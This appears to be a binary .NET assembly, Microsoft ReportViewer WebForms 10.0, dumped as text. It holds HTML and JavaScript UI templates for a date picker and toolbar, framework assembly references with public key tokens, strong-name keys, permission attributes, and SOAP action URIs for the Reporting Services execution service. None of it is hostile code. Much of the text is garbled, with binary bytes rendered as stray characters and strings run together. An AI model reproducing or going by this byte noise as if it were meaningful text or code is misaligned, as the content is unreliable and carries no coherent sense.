<td>&nbsp;</td><td class={0} onmouseover="this.className='{1}';" onmouseout="this.className='{0}';"  onclick="javascript:{5}('{2}')" {6} ><a onclick="event.cancelBubble=true;" href="javascript:{5}('{2}')" id="{3}" >{4}</a></td>
.<td class={0}>{4}</td>
 <td align=center><a id="{3}" href="javascript:{0}" accesskey="{2}">{1}</a></td>
<div class='ms-datepickerouter'> <div class='ms-quickLaunch' style='width:100%'></div></div><div class='ms-picker-header'><table cellpadding=0 cellspacing=0 border=0 class="{4}" ><tr>{0}{1}{2}</tr></table></div><div>JHideUnhide('{0}','{1}','{2}', '{3}');JShowLoading();MoveToDate('{0}', {1}); "{0}" <th scope="row" class={0} onmouseover="this.className='{1}';" onmouseout="this.className='{0}';">{2}</td>
<div class={0}><a href="javascript:MoveToDate('{2}', false)">{1}</a></div>F<ACRONYM title="{0}" >{1}</ACRONYM>\ <td align=center class={0}  nowrap >{1}</td>
 <th scope="col" class={0} nowrap><ABBR title={3}>&nbsp;{1}{2}</ABBR></th>
:<td rowspan={0} width=2></td>      M M  M M M (((  	(

	

  	 	 
   			 
  	  (	&quot;
&amp;
&#39;&lt;&gt;<br>&nbsp;<b><i><u></b></i></u>
<wbr><style></style>@	1@8 8   
   <  @ (($rs:MoreInformationUMEEUEE

		
X       
(( I I(I (4.0.0.0FMicrosoft.ReportViewer.WebForms.dllZ Microsoft Corporation. All rights reserved.10.0.0.010.0.40219.1
402191 b77a5c561934e089@00000000000000000400000000000000 31bf3856ad364e350024000004800000940000000602000000240000525341310004000001000100B5FC90E7027F67871E773A8FDE8938C81DD402BA65B9201D60593E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F74750E5975C64E2189F45DEF46B2A2B1247ADC3652BF5C308055DA9 7cec85d7bea7798e00240000048000009400000006020000002400005253413100040000010001008D56C76F9E8649383049F383C44BE0EC204181822A6C31CF5EB7EF486944D032188EA1D3920763712CCB12D75FB77E9811149E6148E5D32FBAAB37611C1878DDC19E20EF135D0CB2CFF2BFEC3D115810C3D9069638FE4BE215DBF795861920E5AB6F7DB2E2CEEF136AC23D5DD2BF031700AEC232F6C6B1C785B4305C123B37ABmscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Data.OracleClient, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Numerics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 b03f5f7f11d50a3a002400000480000094000000060200000024000052534131000400000100010007D1FA57C4AED9F0A32E84AA0FAEFD0DE9E8FD6AEC8F87FB03766C834C99921EB23BE79AD9D5DCC1DD9AD236132102900B723CF980957FC4E177108FC607774F29E8320E92EA05ECE4E821C0A5EFE8F1645C4C0C93C1AB99285D622CAA652C1DFAD63D745D6F2DE5F17E5EAF0FC4963D261C8A12436518206DC093344D5AD293System.ComponentModel.DataAnnotations, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Deployment, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.DirectoryServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Drawing.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Messaging, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Runtime.Serialization.Formatters.Soap, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.ServiceProcess, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Web.Abstractions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Web.DynamicData, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Web.DynamicData.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Web.Entity.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Web.Extensions.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Web.RegularExpressions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Web.Routing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35System.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aWindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35Microsoft.VisualStudio, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aMicrosoft.VisualStudio.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aVJSharpCodeProvider, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a b7bd7678b977bd8fASP.BrowserCapsFactory, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b7bd7678b977bd8fMicrosoft.VSDesigner, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aMicrosoft.VisualStudio.Web, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aMicrosoft.Web.Design.Client, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aMicrosoft.VSDesigner.Mobile, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aMicrosoft.JScript, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
executionInfoTDataTypebase64Binary#ResultTDataTypebase64Binaryresult
ExecutionInfo
Found
PageNumber
Extensions $$RSA1WĮ.
j쏇vlL;ݚ6!r<wwO)2!d\L(]b,e,=t]o-~^Ė=&Ce m4MZғ U   
U !!  5=u  ! A	I M ! E Q U A2(QEQ!QEQ!EQ! =    i m   mW&AEQU9`aX`!!%imAEQUa!9 )  	 qq - 
-	 


ae	!!(ae  UU I M  M	  e!Aae} 0"U=UU 	aee  I [4|i)dlqmdmqmmmmqq"($qqm	AEQa!9	EQa9!EQ!!	(A	} ] 
](e-a!5EQ!u`"UUU=Q(!999U! Y =		<  
	M	I 
E !;/YY YYYYYY====9EQ	 UU=  ==
 == E=
`XUUU== +MQUU	


]e-

   	
 MM|-e(I	 q qdqd
	Aq
AIP*aP


	 hMhhhh   1	
   50Microsoft.Reporting.WebForms.ReportTypeConverter\

hhhh TDisplayNameDesc .System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TSerializationFormatter  a  	 
 
l! 	

   !)	 )
!d9
 


 - 1	 55555  9 		

 	
 	 
H A E	E
This method requires Code Access Security policy, which is deprecated.  For more information please go to http://go.microsoft.com/fwlink/?LinkId=160787.	  M 

!9T  )e		<
 	
< l )e	 )

\\
 UU5UU
5U

0000
4X XU
5U	  
 % q  u } y} 	 !LocalReportPathDescMicrosoft.ReportingServices.ReportSelectionConverter, Microsoft.Reporting.Design, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aReportEmbeddedResourceDesc
SecurityEnableExternalImagesDesc&!ShowDetailedSubreportMessagesDescEnableHyperlinksDesc ReportDataSourcesDesc !SubreportProcessingEventDesc! !!! .System.Security.Permissions.PermissionSetAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TUnrestricted		 	 1-	 	.System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TControlDomainPolicy    
 55E5EE55E  
AAAA)
 	EEEEI1T5T    -1T5Tl5ll5l	 MI    "
M
			X
d Q aUa

PIM.System.Security.Permissions.EnvironmentPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TReadUSERNAMEM ME 
   a9 	U9a
ReportServerUrlDesc xUSystem.Uri, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089http://localhost/reportserverServerTimeoutDesc'	ServerReportPathDesc
HistoryIdDescwsdl2.0.50727.42	codeTNameReportExecutionServiceSoapT	NamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesniMicrosoft.Reporting.WebForms.Internal.Soap.ReportingServices2005.Execution.ParameterValueOrFieldReference -





    
((((
0000
8888
@@@@
HHHH
PPPP
XXXX
````
hhhh
pppp
xxxx











ԀServerInfoHeaderValueTUSystem.Web.Services.Protocols.SoapHeaderDirection, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a	DirectionPrintControlClsidHeaderValueTUSystem.Web.Services.Protocols.SoapHeaderDirection, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a	DirectionTrustedUserHeaderValueX_http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/ListSecureMethodsTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle  9= 9
 Y9ExecutionHeaderValueTUSystem.Web.Services.Protocols.SoapHeaderDirection, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a	DirectionQXhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LoadReportTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleRYhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LoadReport2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle[bhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LoadReportDefinitionTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle\chttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LoadReportDefinition2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleExecutionHeaderValue^ehttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/SetExecutionCredentialsTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle_fhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/SetExecutionCredentials2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle]dhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/SetExecutionParametersTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle^ehttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/SetExecutionParameters2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleU\http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/ResetExecutionTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleV]http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/ResetExecution2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleMThttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/RenderTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleNUhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/Render2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleSZhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/RenderStreamTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleW^http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/GetExecutionInfoTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleX_http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/GetExecutionInfo2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleU\http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/GetDocumentMapTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleExecutionHeaderValueTUSystem.Web.Services.Protocols.SoapHeaderDirection, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a	Direction]dhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LoadDrillthroughTargetTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle^ehttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LoadDrillthroughTarget2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleQXhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/ToggleItemTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleZahttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/NavigateDocumentMapTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleW^http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/NavigateBookmarkTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleQXhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/FindStringTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleKRhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/SortTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleLShttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/Sort2TRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleX_http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/GetRenderResourceTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle^ehttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/ListRenderingExtensionsTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStylePWhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LogonUserTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyle 
MThttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LogoffTRequestNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTResponseNamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesTUSystem.Web.Services.Description.SoapBindingUse, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aUseTUSystem.Web.Services.Protocols.SoapParameterStyle, System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aParameterStyleei=A EQUa Q
iM
ptx|




		
 UM YY	YY]
 a
8ei= e EMEa

u  m qu i ym	ItemTT5TT5T TTX\ q u y }
\5```5`` `ll5lt5ppp5ppp5p
p5p 5 95
 .System.Security.Permissions.StrongNameIdentityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089OT	PublicKey@002400000480000094000000060200000024000052534131000400000100010007D1FA57C4AED9F0A32E84AA0FAEFD0DE9E8FD6AEC8F87FB03766C834C99921EB23BE79AD9D5DCC1DD9AD236132102900B723CF980957FC4E177108FC607774F29E8320E92EA05ECE4E821C0A5EFE8F1645C4C0C93C1AB99285D622CAA652C1DFAD63D745D6F2DE5F17E5EAF0FC4963D261C8A12436518206DC093344D5AD293.System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TUSystem.Security.Permissions.SecurityPermissionFlag, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Flags e   	   5
55, T
AllowMultipleT
AllowMultiple	qq       yuq Y Y 
 995	5p/ 	)  e^T	NamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingserviceslT	NamespaceMhttp://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservicesT
IsNullable^YMicrosoft.Reporting.WebForms.Internal.Soap.ReportingServices2005.Execution.ParameterValue
Dependency
Value^YMicrosoft.Reporting.WebForms.Internal.Soap.ReportingServices2005.Execution.ExecutionInfo2 0
 }	

   	55 
 I 	 
 


<<<<<
